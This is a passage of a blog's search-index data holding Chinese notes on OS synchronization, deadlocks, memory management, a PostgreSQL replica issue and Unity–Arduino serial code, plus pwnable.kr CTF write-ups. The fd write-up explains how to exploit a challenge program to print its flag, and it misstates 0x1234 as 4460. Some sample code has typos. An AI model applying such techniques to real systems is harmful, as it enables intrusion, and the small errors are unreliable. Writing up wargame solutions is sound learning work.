等到海枯石爛。\nStarvation: 阻塞到死。 行程沒有從等待佇列被放到就緒佇列。\nPriority Inversion:\n\n高優先權行程的資源被低優先權行程占住了。\n必須要等待低優先行程釋放才能繼續。\n透過priority-inheritance protocol解決\n\n\nClassic Problems of\nSynchronization\nBounded-Buffer Problem\n\nVariable\n\nn個Buffer, 每個可以放一個元素\nSemaphore mutex, 初始值為1:\n控制生產者跟消費者存取Buffer\nSemaphore full, 初始值為0\n\n表示目前Buffer有多少空間被使用\n0表示Buffer是空的，消費者要等待\n\nSemaphore empty, 初始值為n\n\n表示目前Buffer還有多少空間\n<=0表示Buffer是滿的, 生產者要等待\n\n\n生產者（Producer）行程 do { ... /* produce an item in next_produced */ ... wait(empty); wait(mutex); ... /* add next produced to the buffer */ ... signal(mutex); signal(full);} while (true);\n消費者（Consumer）行程 do { wait(full); wait(mutex); ... /* remove an item from buffer to next_consumed */ ... signal(mutex); signal(empty); ... /* consume the item in next consumed */ ...} while (true);\n\nReaders-Writers Problem\n\n數個同時執行的行程，共享資料集合\n\nReaders: 只讀取資料, 不會對資料做任何更動。\nWriters: 同時可以讀寫。\n\n問題：允許數個Reader同時讀取資料。\n只有單一個Writer可以讀寫資料。\nReader跟Writer的數種變化取決於優先權(Priority)\n共享資料\n\n資料集合\nSemaphore rw_mutex, 初始值為1\n\n控制Reader/Writer進入文件的信號\n0代表有人正在存取文件， 需要等待\n\nSemaphore mutex, 初始值為1\n\n控制reader_count增減的信號\n0代表reader_count正在變動，需要等待\n\n整數reader_count,\n初始值為0：用來計算現在有幾個Reader\n\nWriter行程 do { wait(rw_mutex); ... /* writing is performed */ ... signal(rw_mutex);} while (true);\nReader行程 do { wait(mutex); read_count++; if (read_count == 1) wait(rw_mutex); signal(mutex); ... /* reading is performed */ ... wait(mutex); read_count--; if (read_count == 0) signal(rw_mutex); signal(mutex);} while (true); #### Readers-Writers Problem\nVariations\nVariation 1\n如果有無限個Reader在讀取，Writer會餓死(Starvation)。\nVariation 2 Writer準備好之後就馬上開始讀寫，Reader會餓死\n某些系統為了解決這些問題， 會由Kernel提供讀寫鎖(Reader-Writer\nLock)\n\nDining-Philosophers Problem\n\n- 哲學家只能思考（Wait）或吃飯（Do），他們之間不能交流，\n每次吃飯都需要同時拿左邊跟右邊的筷子，吃完就會把筷子放回去。 - 問題： -\n哲學家想吃飯的時候，但是左邊或右邊的任一支筷子被拿走了，需要等待。 -\n共享資料： - 飯（資料集合） - Semaphores 筷子[5],\n初始值是1： 0代表有人在用 - 行程 do { wait ( chopstick[i] ); wait ( chopStick[ (i + 1) % 5] ); // eat signal ( chopstick[i] ); signal (chopstick[ (i + 1) % 5] ); // think} while (TRUE);\nProblem of this algorithm\n\n會產生死鎖（Deadlock）:要等其他人放下筷子， 才能拿筷子。\n\n大家都先拿右邊的筷子， 全部的人都在等左邊的筷子，\n可是左邊筷子已經被左邊的人先拿走了。\n如果哲學家1, 3一直拿著筷子， 哲學家2就會等到死。\n\n解法\n\n最多限制(n - 1)個吃，可以解決死鎖，但是會有人餓死。\n除非可以拿到左右筷子，不然就不准吃。\n可以打破Hold-and-Wait（死鎖），但是也是會有人餓死。\n奇數者先拿左邊再拿右邊，偶數者則相反， 可以打破Circular\nWaiting（環狀等待）, 還是會有人餓死。\nChandy/Misra Solution： 先把筷子湊成對， 要吃的領筷子券, 吃完再釋放\n搶奪筷子券，沒有錯，還是會有人餓死。\n\n所以你們就餓死吧…\n\nProblems with Semaphores\n\nSemaphore的不正確操作\n\nsignal() 再 wait() 先加信號再等待信號？？？… 怪怪的\nwait() 又 wait() 等一個信號 然後又等一個信號？？？ …\n等一個人咖啡館？？？\n省略了signal或wait或兩個都省略了 不等了， 或者不把信號還回去，\n直接出車禍.\n\n死鎖(Deadlock)跟餓死(Starvation)\n\nReference\n\n[1]OS讀書會20170518\n\n","categories":["Note"],"tags":["Note","Operating System"]},{"title":"CH7 Deadlocks","url":"/2019/06/15/note/OS/ch7/","content":"濟世第七章\n\nDeadlock Characterization\n如果滿足以下四個條件，就有可能出現死鎖： - Mutual\nexclusion(互斥)：同時只有一個行程可以使用資源。 - Hold and\nwait:持有一個資源的行程在等待另外一個行程所擁有的資源。 - No\npreemption(非搶佔式、不能插隊):持有資源的行程只能自願釋放所持有的資源。\n- Circular wait(循環等待): \\(P_0 -> P_1\n-> P_2 -> P_0\\)\nResource-Allocation Graph\n\n\n\n\n\n\n\n\n\nProcess\nResource\nRequest resources\nHolding resources\n\n\n\n\n\n\n\n\n\n\n\nExample without Deadlock\n\\(P_3\\)釋放\\(R_3\\)資源之後\\(P_2\\)就可以獲得資源接續處理，\n接著\\(P_2\\)釋放\\(R_1\\)資源之後，\\(P_1\\)也能夠繼續處理，\n所以不會有死鎖的狀況。\n\nCircle without Deadlock\n\\(P_1\\)擁有\\(R_2\\)資源並且等待\\(R_1\\)資源、\\(P_3\\)擁有\\(R_1\\)資源等待\\(R_2\\)資源，兩者相互等待，構成環狀。\n但是\\(R_1\\)跟\\(R_2\\)資源都有兩個實體可以使用，並且分別被\\(P_2\\)跟\\(P_4\\)持有， \\(P_2\\)跟\\(P_4\\)本身也沒有其他等待資源，所以等到\\(P_2\\)跟\\(P_4\\)釋放資源之後， \\(P_1\\)跟\\(P_2\\)就可以繼續運作，所以不構成死鎖。 \nCircle with Deadlock\n恩對，死鎖，3個行程相互等待對方釋放資源。\n\nBasic Facts\n\n如果沒有環狀 -> 沒死鎖。\n如果有環狀\n-> 每個資源都只有一個實體，死鎖鎖好鎖滿\n-> 資源有多個實體，可能死鎖，要稍微推一下。\n\nMethods for Handling\nDeadlocks\n\n確保系統永遠不會進入死鎖（廢話？）\n允許系統進入死鎖，然後恢復。\n無視死鎖，假裝沒發生過。（鴕鳥？）\n\n最常被使用，Unix Windows blah blah blah。\n\n\nDeadlock Prevention\n\nMutual exclusion\n共享資料沒這個問題，非共享資料就沒救了，一定會互斥。\nHold and Wait 必須保證行程要求資源時，本身沒有持有任何資源。\n\n要求行程在執行前去請求並分配所有資源，或者是當行程沒有持有資源的時候允許存取。\n資源利用率低的話，有可能會發生飢餓。\n\nNo Preemption\n\n如果一個當前持有資源的行程要求另一個資源無法立刻被分配，該行程當前持有的資源會被釋放。\n搶佔的資源將添加到正在等待中的行程的資源列表中。\n只有當行程可以獲得舊資淵還有要求的資源的時候，才會重新啟動行程。\n\nCircular Wait 針對要求資源的行程給予一個順序。\n\nDeadlock Avoidance\n要求系統提供一些額外的先驗資訊 -\n最簡單而且有用的模型是要求每一個行程宣告他可能需要的每種資源最大數值。 -\n死鎖迴避演算法可以動態的測試資源分配狀態來避免Circular Wait。 -\n資源分配狀態由可用資源、已分配資源的數量和行程的最大需求量所定義。\nSafe state\n（這邊我完全不知道課本在供三小） -\n當行程請求可用資源時，系統必須確認立刻分配是否使系統處於安全狀態 -\n當行程要求一個資源，且存在一個行程序列；\n每個行程依照其順序取得資源，就能確保每個行程都擁有資源，不會發生死鎖的狀況，則說系統在安全狀態中。\n- 如果\\(P_i\\)需要的資源沒辦法立刻被滿足（因為\\(P_j\\)持有），那\\(P_i\\)會等到\\(P_j\\)結束， 然後\\(P_i\\)拿到需要的資源，執行，然後釋放資源，\n其他的\\(P_i+1\\)就可以拿到需要的資源，執行，並且釋放，持續下去到\\(n\\)\nBasic Facts\n\n如果系統在安全狀態 -> 沒有死鎖（廢話）\n如果系統在不安全狀態 -> 可能有死鎖\n避免方法: 保持系統永遠不會進入不安全狀態（太棒了又是廢話）\n\nAvoidance algorithms\n\n單實體資源：用resource-allocation graph\n多實體資源：用banker’s algorithm\n\nResource-Allocation Graph\nScheme\n\nClaim edge：當\\(P_i\\)向\\(R_j\\)請求資源時，在圖案上我們以虛線表示關係。\n當行程要求資源的時候，Claim edge會轉變為Request edge。\n當資源被分配給行程的時候，Request edge會轉變為Assignment edge。\n當資源被行程釋放的時候，Assignment edge又變回Claim edge。\n必須在系統中事先聲明資源。\n\nResource-Allocation Graph\nAlgorithm\n\n假設行程\\(P_i\\)要求資源\\(R_j\\)\n只有在Request edge轉換為Assignment\nedge不會造成環狀時，才准許轉換。\n\nBanker’s Algorithm\n\n多實體資源\n每一個行程必須先聲明最大使用量(max)\n行程請求資源的時候，可能會進入等待。\n當行程獲得所有需要的資源時，必須在有限時間內釋放這些資源。\n\nData Structures\n\\(n = 行程數量, m = 資源型態數量\\) -\nAvailable: 長度為m的Vector，如果available[i] =\nj，則型態i的資源有j個可以分配。 - Max: \\(n\n\\times m\\)矩陣，如果max[i, j] = k，則\\(P_i\\)可能會要求最多k個\\(R_j\\)資源。 - Allocation: \\(n \\times m\\)矩陣，如果allication[i, j] =\nk，則目前\\(P_i\\)持有k個\\(R_j\\)資源。 - Need: \\(n \\times m\\)矩陣，如果need[i, j] = k,\n則目前\\(P_i\\)還需要k個\\(R_J\\)以完成工作。 - \\(Need[i, j] = Max[i, j] - Allocation[i,\nj]\\)\nSafety Algorithm\n\nStep 1: 令Work和Finish長度為m和n。\n\nWork = Available\nFinish[i] = False For i = 0, 1, … n\n\nStep 2: 迭代陣列並尋找符合下列條件\n\nFinish[i] = False\n\\(Need_i\\) <= Work\n如果沒有任何一次迭代符合條件，則進入Step 4。\n\nStep 3:\n\nWork += \\(Allocation_i\\)\nFinish[i] = True\n返回Step 2。\n\nStep 4:\n\n如果Finish陣列中值皆為True，則系統處於Safe state。\n\n\nResource-Request\nAlgorithm for Process \\(P_i\\)\n\nRequest = \\(P_i\\)所要求的資源向量。\n如果\\(Request_i[j]\\) = k，則\\(P_i\\)希望存取k個資源\\(R_j\\)\nStep 1: 如果\\(Request_i <=\nNeed_i\\)，繼續Step 2，否則跳出行程達到請求資源上限的例外。\n（明明只需要5個，卻要求6個）\nStep 2: 如果\\(Request_i <=\nAvailable\\)，繼續Step 3，否則\\(P_i\\)必須等到資源可供使用。\nStep 3: $ Available = Available - Request_i \\\\ Allocation_i =\nAllocation_i + Request_i \\\\ Need_i = Need_i - Request_i \\\\ $ 如果是Safe\nState => 分配資源給\\(P_i\\)。\n否則，\\(P_i\\)必須等待，並且恢復Step\n3所執行的動作。\n\nDeadlock Detection\n\n允許系統進入死鎖\n偵測演算法\n恢復方案\n\nSingle Instance of Each\nResource Type\n\n維護wait-for圖表\n定期調用環形偵測演算法， 如果偵測到環形，則存在死鎖。\n用來檢測環形的演算法需要\\(n^2\\)次操作，其中\\(n\\)代表節點(Process)數。\n\nRAG and wait-for graph\n\n\n\n\n\n\n\nResource-Allocation Graph(RAG)\nwait-for graph\n\n\n\n\n\n\n\n\n\nServeral Instances of a\nResource Type\n\nAvailable: 長度為m的Vector，如果available[i] =\nj，則型態i的資源有j個可以分配。\nAllocation: \\(n \\times\nm\\)矩陣，如果allication[i, j] = k，則目前\\(P_i\\)持有k個\\(R_j\\)資源。\nRequest = \\(P_i\\)所要求的資源向量。\n\nDetection Algorithm\n\nStep 1: 令Work和Finish長度為m和n。\n\nWork = Available\nFor i = 0, 1, … n, 若Allocation != 0, Finish[i] =\nFalse，否則設為True。\n\nStep 2: 迭代陣列並尋找符合下列條件\n\nFinish[i] = False\n\\(Request_i\\) <= Work\n如果沒有任何一次迭代符合條件，則進入Step 4。\n\nStep 3:\n\nWork += \\(Allocation_i\\)\nFinish[i] = True\n返回Step 2。\n\nStep 4:\n\n如果Finish[i]為False，若\\(1 <= i <=\nn\\)，則系統處於Deadlock，且\\(P_i\\)為死鎖發生行程。\n\n演算法需要\\(O(m \\times n^2)\\)\n\nDetection-Algorithm Usage\n\n何時使用以及多常使用，其根據什麼條件使用?\n\n死鎖多常發生\n有多少的行程需要Roll back\n\n如果演算法被任意調用，則RAG裡頭可能會有很多環形，\n這樣會導致無法正確的辨認死鎖發生的數量以及確切行程。\n\nRecovery from Deadlock\nProcess Termination\n\n放棄所有死鎖的行程。\n一次中止一個行程，直接死鎖被消除。\n依據條件來進行中止\n\n行程優先度\n行程已經花費多少時間以及還需要多少時間來完成\n行程已經使用的資源量\n行程完成所需要的資源量\n有多少行程需要被中止\n行程是互動式還是批次\n\n\nResource Preemption\n\nSelecting a victim(選擇受害的行程))：最小成本\nRollback(回滾): 回到某個安全狀態，重新啟動行程。\nStarvation(飢餓)：很容易抓到相同的victim，導致其process一直無法執行，便形成了starvaction的狀態。\n\n","categories":["Note"],"tags":["Note","Operating System"]},{"title":"Ch8 Memory-Management Strategies","url":"/2019/06/19/note/OS/ch8/","content":"PPT寫的有夠爛，有夠難讀… \nBackground\n\n程序必須要被進主記憶體中（從硬碟中），並且放入行程中運行。\n主記憶體以及暫存器是CPU唯二可以直接存取的儲存空間。\n記憶體單元只能辨認位址流+讀取請求或寫入請求。\n暫存器存取在一個CPU振盪（或更少）時間。\n存取主記憶體可能需要很多周期，導致停頓。\n快取被放在CPU暫存器以及主記憶體之間(L1, L2, L3 Cache)。\n保護主記憶體以確保正確操作。\n\nBase and Limit Registers\n\n一對基址（base）以及限制（limit）暫存器用來定義邏輯地址空間(Logical\naddress space)\nCPU必須確認每一個來自user\nmode的記憶體操作，都坐落在base以及limit之間。 \n\nHardware Address Protection\n\nAddress Binding\n\n程序在硬碟上需要放到主記憶體中才能夠執行，所以會有一個input\nqueue負責處理。\n通常都會被載入到記憶體位置0000的區塊，但實際上不一定要使用這個位址。\nEx: 原始程式，記憶體位址是象徵性的 -> 0000\n經過編譯，位址會被綁定到可重定向地址(relocatable address) -> ebp +\n0x04 Linker或Loader將可重定向地址綁定到絕對位址(absolute address) ->\n74014\n每一個綁定都從一個記憶體空間對應到另外一個。\n\nBinding of\nInstructions and Data to Memory\n\n記憶體位址的綁定會在3個階段:\n\nCompile time(編譯時間)：由編譯器決定。\n如果記憶體位址已經知道，則生成絕對位址，但是如果起始位址改變的話，則需要重新編譯。\nLoad time(載入時間)：由Linking loader或Linking editor決定。\n編譯時無法確認記憶體位址，則生成重定向地址。\nExecution time(執行時間)：由作業系統動態決定。\n如果記憶體區段要執行時被移動，連結才會被遲緩到這個時間執行。\n（需要硬體支援，彈性高，但是執行慢效率差）\n\n\nLogical vs. Physical Address\nSpace\n\nLogical address: CPU所產生的位址，又稱為Virtual address。\nPhysical address: 記憶體所看到的位址，經過MMU處理過。\n\nMemory-Management Unit (MMU)\n\n在執行階段將虛擬位址映射為實體位址的硬體裝置。\nBase register此時被稱為Relocation register。 Intel\n80x86架構上的MS-DOS使用四個relocation register。\n使用者程序只會看到虛擬位址，不會處理到真正的硬體位址。\n\n當引用記憶體位址時，發生Execution-time binging。\nLogical addressPhisical address綁定在一起。\n\n\nDynamic\nrelocation using a relocation register\n\n子程式被呼叫的時候才會被載入。\n記憶體空間利用率最佳化，沒有被使用的子程式永遠不會被載入。\n所有的子程序以可重定向的加載格式被放置在硬碟中。\n在大量的程式碼需要去處理不常發生的狀況時很有用。(這段原文很難理解也很難翻譯…)\n(Useful when large amounts of code are needed to handle infrequently\noccurring cases)\n不需要作業系統特別的支援\n\n透過程序設計來實作\n作業系統可以透過提供函式庫來實作動態載入(Dynamic loading)。 \n\n\nDynamic Linking\n\nStatic linking(靜態連結):\n系統函式庫和原始碼被Loader結合在一起成二進位程序映像(Binary Program\nImage) (Binary Program Image: compile跟linking後的結果,\nOS用以實際執行該程式,\n因為linking後的產物，所以不同的OS，所使用的結果都不盡相同，亦不相容。)\nDynamic linking(動態連結)： 連結會推遲到執行時間才處理。\nStub是一小段的程式碼，用來定位適當的常駐記憶體函式庫子程式。\n作業系統確認子程式有沒有在行程的記憶體空間內，如果沒有的話，會加進去記憶體空間中。\n動態連結對於函式庫特別有用。\n這個系統也被稱作為共享函式庫(Shared Libraries)。\n考慮到修補系統函式庫(Patching system\nlibraries)，可能需要版本控制。\n\nSwapping\n\n程式執行中，行程有時候可能會需要離開記憶體，這個動作被稱為swapping。\nBacking storage：獨立於file system，提供memory\nimage直接的存取。\nRoll out/Roll\nin：將低優先權的換出去，換一個優先權高的進記憶體。\nSwap出去的行程是否要Swap回原本的記憶體位址，取決於綁定方法：\n\n如果編譯以及連結階段已經完成綁定，則必須要swap回原本的記憶體位址。\n如果執行階段才完成綁定，則不需swap回原本的記憶體位址。\n\n\n\nContext Switch Time\nincluding Swapping\n\n如果下一個要被載入CPU的行程目前沒有存在主記憶體中，則系統需要將一個行程swap\nout，再將目標行程swap in進入記憶體，接著執行context switch。 如此一來,\ncontext switch的時間會被大幅度的拉長。\n可以運用system\ncall的方法來檢查當前記憶體空間的剩餘，來決定需不需要swap out。\nswapping還會有行程正在執行I/O時移出的問題：\n\n不執行swap out，繼續執行。\n直接swap out，放棄I/O。\nI/O交給Kernel再丟給I/O裝置。但是會有Double\nbuffering的問題，增加了負擔。\n\n通常swap的機制只有在實體記憶體的存量極低的時候才會觸發。\n\nSwapping on Mobile Systems\n\n一般來說不支援快閃記憶體\n\n空間太小。\n有限的寫入周期。\n快閃記憶體以及主記憶體之間吞吐量過低。\n\n替代方案\n\niOS：詢問App主動放棄分配到的記憶體\n\n唯讀資料在需要的時候會拋出，然後從快閃記憶體中重新讀取。\n釋放失敗的話可能會導致終止。\n\nAndroid：記憶體不足的話會直接終止App，但是會將App狀態寫入快閃記憶體以便下次快速重啟。\n這兩個系統都支援記憶體分頁(paging)。\n\n\nContiguous Memory Allocation\n\n主記憶體通常會有兩個分區\n\n常駐作業系統，通常會放在較低位址的記憶體區塊，帶有中斷向量。\n使用者行程，通常會放在比較高位址的記憶體區塊。\n\n\nMultiple-partition\nallocation\n\nFixed-partition:\n固定分區大小，除非Process需求的大小剛好等於每分區大小的倍數，不然通常都會多給。\nVariable-partition: 滿足Process的需求，要多少給多少。\nHole: 一塊連續記憶體。\n多個大小不同的Hole，分散在記憶體之中。\nProcess要放入記憶體中時，會被分配在大小足夠容納的Hole中。\n作業系統維護已分配的區域，還有尚未被分配的區域（Hole）。 \n\nDynamic Storage-Allocation\nProblem\n如何滿足大小為n的資料進入記憶體？ -\nFirst-fit：分配第一個大小滿足的Hole。 - Best-fit：\n分配第一個最小剛好滿足的Hole。\n必須搜尋整個Hole的列表，除非列表已經依照大小排列。 - Wrost-fit：\n分配最大的Hole。 也必須搜尋整個Hole的列表。 -\n在速度以及空間利用率方面，first-fit跟best-fit好過於wrost-fit。\nFragmentation\n\nExternal Fragmentation（外碎）：\n剩餘的記憶體空間能夠滿足需求，但是不連續，仍舊無法使用。\n\n解決方法：Compaction（聚集）\n\n將空閒的Hole聚集在一起，合併成一塊大的。\n只有在Relocation是動態的時候，可以在執行時間合併。\n\n\n\nInternal Fragmentation（內碎）：\n分配到的記憶體，稍微大於需求記憶體，多餘的部份並沒有被使用。 Ex:\n我給你4KB, 你只用3KB。\n\nSegmentation\n\n可以被使用者查看的記憶體管理方案。\n一個程序是由多個Segements所組成; Segement是一個邏輯單元如：\n\nmain program\nprocedure\nfunction\nmethod\nobject\nlocal variables, global variables\ncommon block\nstack\nsymbol table\narrays\n\n\nUser’s View of a Program\n其實我不知道這怎麼解釋，\n大概應該是使用者觀點來看一支程序的話，大概長這樣子… \nLogical View of Segmentation\n然後這是實際上在記憶體空間中的分佈，\n所以可能看起來像連續，其實位址是不連續的。 \nSegmentation Architecture\n\nLogical address:\n有兩個部份，segment-number跟offset：<segment-number, offset>\nSegment table(ST): 映射到二維的實體位址，每一條紀錄都有：\n\nBase: segment的起始實體位址。\nLimit: segment的長度。\n\nSegment-table base register (STBR): 指向ST的起始實體位址。\nSegment-table length register (STLR):Segment的數量。\n\n如果Segment的數量小於STLR，是合法的。\n\n保護機制：每一個ST中的紀錄包含了：\n\nValidation bit（驗證位元）：如果是0的話，是不合法的Segment。\n擁有Read/Write/Execute特權。\n\n保護位元跟Segment有關; 程式共享發生在Segment層級。\n因為Segment長度變化，記憶體分配是一個動態儲存分配問題。\n\nSegmentation Hardware\n\nPaging\n\n行程的實體位址空間可以是不相鄰，只要可以使用，就可以分配給行程使用。\n\n避免外碎。\n避免不同大小的記憶體區塊。\n\n將實體記憶體分成固定大小的區塊稱為Frames：\n大小必須為2的冪數，介於512bytes跟16Mbytes之間。\n將邏輯記憶體分為相同大小稱為Pages。\n持續追蹤所有空閒的Frames。\n要執行一個N個Page的程序，必須先找到N個空閒的Frames來分配給程序。\nPage Table：負責將邏輯位址翻譯為實體位址。\nBacking Store也被分做Pages。\n仍然會有內碎的情形。\n\nAddress Translation Scheme\n\nCPU產生的地址被分為：\n\nPage number(p)：PT(Page\nTable)的索引，而該索引指引的Page紀錄包含了實體位址。\nPage offset(d):結合基址(Base)來定義送到記憶體單元的實體位址。 \n\n\nStructure of the Page Table\n","categories":["Note"],"tags":["Note","Operating System"]},{"title":"PostgreSQL: canceling statement due to conflict with recovery","url":"/2023/08/01/note/PostgreSQL/PostgreSQL-canceling-statement-due-to-conflict-with-recovery/","content":"過長的Replica節點查詢，因爲Primary節點執行vacuum指令導致列版本(row\nversion)分岔， 進一步引起查詢取消。\n\nTL;DR\n\n避免過久的查詢\n開啟 hot_standby_feedback 參數（缺點：primary\nnode會有表膨脹的問題）\n\nWhat is vacuum?\n\n恢復或回收使用因更新或刪除資料列所佔用的磁碟空間。\n更新 PostgreSQL 查詢計劃器使用的資料統計資訊。\n更新可視性結構，這會增加索引限定掃描的效率。\n防止由於事務 ID 重覆或 multixact ID 重覆而失去非常舊的資料。 Ref\n\nWhat happens\nwhen vacuum execute with long query?\n\n\nReplica節點執行SELECT長查詢，假設其中包含Row-A。\n\n\nPrimary節點恰好在Replica節點查詢結束前執行vacuum指令，並移除Row-A。\n\n\n為何移除Row-A：\n該列可能於第一項Replica節點執行查詢前，已經刪除並被標記(mark)為須回收，故vacuum會移除該行。\n\n\nReplica節點同步執行vacuum指令。\n\n\n第一項SELECT長查詢Row-A與vacuum指令的列版本(row\nversion)發生衝突，自動取消(cancel)。\n\n\nSolution：hot_standby_feedback\nRef\n此參數設定於Replica節點，\n啟用這個參數讓Replica節點在接收到查詢時，同步被查的行資訊給Primary節點，避免vacuum清除這些節點的資訊。\n用於避免vacuum導致查詢被取消。\n缺點： 有可能會導致表膨脹(Table\nbloat)，因為被Replica節點查詢佔用的行資訊沒有被清除。\nReference\n\nPostgreSQL\nVacuum\nPostgreSQL\nStandby Server\n\n","categories":["PostgreSQL"],"tags":["PostgreSQL","RDBMS","Vacuum"]},{"title":"Unity communicate with Arduino by Serial","url":"/2019/01/05/note/Unity/Unity-Communicate-With-Arduino/","content":"Arduino如何使用Serial序列埠與Unity溝通。\n\n0x0 環境\n\nArduino Uno v3\nUnity 2018.1.4f1 (64bit)\nVisual Studio C#\n\n0x1 前置設定\nUnity設定需將Api Compatibility Level設為Net2.0.\n按照教學,\n還需要更改Scripting Runtime Version設為.Net 4.x Equivalent.\n具體設定的路徑為Edit > Project Settings > Player > (Inspector) > Other Settings > Configuration.\n如果沒有做好以上兩點設定,\n在Script中將無法using System.IO.Ports.\n0x2 Arduino 程式碼\nvoid setup() { Serial.begin(9600);}void loop() { Serial.write("1"); if (Serial.avaliable()) { String data = Searil.read(); ... }}\n0x30 Unity 程式碼\nusing System.IO.Ports;public class ArduinoControl : MonoBehaviour { private SerialPort sp; private int readTimeout = 1; void Start () { sp = new SerialPort("COM7", 9600); if (!sp.IsOpen) { sp.Open(); sp.ReadTimeout = readTimeout; } } void Update () { if (sp.IsOpen) { // Write sp.Write(....); // Read try { sp.Read(....); } catch (System.TimeoutException e) { // Timeout exception. } } } public void Teardown () { if (sp.IsOpen) sp.Close(); }}\n0x31 SerialPort\nArduino的部份比較容易, 基本上依樣畫葫蘆就可以了。\n比較困難的集中在C#中。\nSerialPort sp = new SerialPort("序列埠號", 鮑率); Arduino跟C#的程式必須使用相同的鮑率, 否則讀取速度不一致,\n資料會呈現亂碼。\n0x4 Confusions\n這本來是幫朋友做的一個裝置溝通的部份程式碼。\n有遇到關於Slow reading的問題。\n也就是Arduino端已經送出了Serial資料，但是Unity卻沒有即時收到資料的狀況。\n得花很久之後才會收到。\n目前是暫時用下面的程式碼去處理。\n有需要的朋友可以參考看看，如果有找出原因也拜託留言跟我說一下。\nint sw, lastSend;int debounceDelay = 5;void setup() { Serial.begin(9600); pinMode(2,INPUT);}void loop() { sw = digitalRead(2); if (sw != lastSend) { lastSend = sw; Serial.println(lastSend); }}\nusing UnityEngine;using System.IO.Ports;public class ArduinoController : MonoBehaviour { public SerialPort sp; public int readTimeout = 1000; public float readDelay = 0.4F; private float leftPeriod; private string arduinoData; void Start() { this.leftPeriod = this.readDelay; this.sp = new SerialPort("/dev/tty.usbmodem14101", 9600); if (!sp.IsOpen) { sp.Open(); sp.ReadTimeout = readTimeout; } } void Update() { leftPeriod -= Time.deltaTime; if (leftPeriod < 0 && sp.IsOpen) { try { string tempData = sp.ReadLine(); if (!tempData.Equals(arduinoData)) { arduinoData = tempData; Debug.Log(arduinoData); } } catch (System.TimeoutException e) { throw; } leftPeriod = readDelay; } } public void Teardown() { if (sp.IsOpen) sp.Close(); }}\n0x5 Others\n使用Arduino的開關，除非有特地挑選過使用的開關種類，\n不然大多會有彈跳(bounce)的問題，在這邊不多贅述，\n有機會開篇來講何謂彈跳以及其去彈跳(debounce)的設計方法。\n0x6 Reference\nMicrosoft\nDocs - System.IO.Ports\nArduino\nSerial\n","categories":["Note"],"tags":["Note","Unity","Arduino","Serial"]},{"title":"pwnable.kr(1) - fd","url":"/2018/05/23/CTF/pwnable-kr/Toddlers_Bottle/1-fd/","content":" ## Problem\nPoints: 1 pt\nMommy! what is a file descriptor in Linux?* try to play the wargame your self but if you are ABSOLUTE beginner, follow this tutorial link:https://youtu.be/971eZhMHQQwssh fd@pwnable.kr -p2222 (pw:guest) Link\n\nCode\n#include <stdio.h>#include <stdlib.h>#include <string.h>char buf[32];int main(int argc, char* argv[], char* envp[]){ if(argc<2){ printf("pass argv[1] a number\\n"); return 0; } int fd = atoi( argv[1] ) - 0x1234; int len = 0; len = read(fd, buf, 32); if(!strcmp("LETMEWIN\\n", buf)){ printf("good job :)\\n"); system("/bin/cat flag"); exit(0); } printf("learn about Linux file IO\\n"); return 0;}\nPrepare\nLinux fd(file descriptor)\nfd是一個索引值，指向Kernel為維護每一個Process所打開文件的紀錄表。\n當程式打開一個現有文件或者創建一個新文件時，Kernel會向Process回傳一個fd。\n通常適用於UNIX跟Linux的作業系統。\n一般UNIX的Process中應該均有3個標準的POSIX\nfd，對應於3個標準輸出入流。\n\n\n\ninteger\nname\n<unistd.h> const\n<stdio.h> file stream\n\n\n\n\n0\nStandard input\nSTDIN_FILENO\nstdin\n\n\n1\nStandard output\nSTDOUT_FILENO\nstdout\n\n\n2\nStandard error\nSTDERR_FILENO\nstrerr\n\n\n\nC read\n#include <unistd.h> ssize\\_t read(int fd, void \\*buf, size\\_t count); \nreturn length of data read in.\nC atoi\n#include <stdlib.h> int atoi(const char \\*str);\nif str is a string can be convert to int, return it. otherwise return 0. \nThinking\nL6 顯示輸入必須包含一個參數。\nL10 會用atoi方法轉成數字並且減掉0x1234(4460)。 L12\n從fd讀取32Byte資料進入buff。\n重點：如何控制讀取的資料為LETMEWIN。\nSolution\n以本題來講，開檔是一個不需要執行的動作。\nread的function是用來從STDIN獲得資料的手段。\n所以我們需要讓fd為0來對應STDIN_FILENO,\n因此輸入的參數必須減去0x1234剛好為0，\n即為0x1234本身。\n接著進入L13手動輸入資料，為了對應密碼，輸入LETMEWIN即可。\n於是獲得flag。\nReference\nFile\nDescriptor\n","categories":["CTF","pwnable.kr","Toddler's Bottle"],"tags":["CTF","PWN","pwnable.kr","Toddler's Bottle","WriteUps"]},{"title":"pwnable.kr(10) - shellshock","url":"/2018/10/23/CTF/pwnable-kr/Toddlers_Bottle/10-shellshock/","content":" ## Problem Points:\n1pt Mommy, there was a shocking news about bash.I bet you already know, but lets just make it sure :)ssh shellshock@pwnable.kr -p2222 (pw:guest) Link\n\nCode\n#include <stdio.h>int main(){ setresuid(getegid(), getegid(), getegid()); setresgid(getegid(), getegid(), getegid()); system("/home/shellshock/bash -c 'echo shock_me'"); return 0;}\nThinking\nSolution\n","categories":["CTF","pwnable.kr","Toddler's Bottle"],"tags":["CTF","PWN","pwnable.kr","Toddler's Bottle","WriteUps"]},{"title":"pwnable.kr(11) - coin1","url":"/2018/10/24/CTF/pwnable-kr/Toddlers_Bottle/11-coin1/","content":" ## Problem Points: 6pt\nMommy, I wanna play a game!(if your network response time is too slow, try nc 0 9007 inside pwnable.kr server)Running at : nc pwnable.kr 9007 Link\n\nScreen\n --------------------------------------------------- - Shall we play a game? - --------------------------------------------------- You have given some gold coins in your hand however, there is one counterfeit coin among them counterfeit coin looks exactly same as real coin however, its weight is different from real one real coin weighs 10, counterfeit coin weighes 9 help me to find the counterfeit coin with a scale if you find 100 counterfeit coins, you will get reward :) FYI, you have 60 seconds. - How to play - 1. you get a number of coins (N) and number of chances (C) 2. then you specify a set of index numbers of coins to be weighed 3. you get the weight information 4. 2~3 repeats C time, then you give the answer - Example - [Server] N=4 C=2 # find counterfeit among 4 coins with 2 trial [Client] 0 1 # weigh first and second coin [Server] 20 # scale result : 20 [Client] 3 # weigh fourth coin [Server] 10 # scale result : 10 [Client] 2 # counterfeit coin is third! [Server] Correct! - Ready? starting in 3 sec... -N=158 C=8\nThinking\nSolution\n","categories":["CTF","pwnable.kr","Toddler's Bottle"],"tags":["CTF","PWN","pwnable.kr","Toddler's Bottle","WriteUps"]},{"title":"pwnable.kr(12) - blackjack","url":"/2018/10/23/CTF/pwnable-kr/Toddlers_Bottle/12-blackjack/","content":" ## Problem Points: 1pt\nHey! check out this C implementation of blackjack game!I found it online* http://cboard.cprogramming.com/c-programming/114023-simple-blackjack-program.htmlI like to give my flags to millionares.how much money you got?Running at : nc pwnable.kr 9009 Link\n\nCode\nCode is at here\nThinking\nThe code seems no big exploit point. But seek 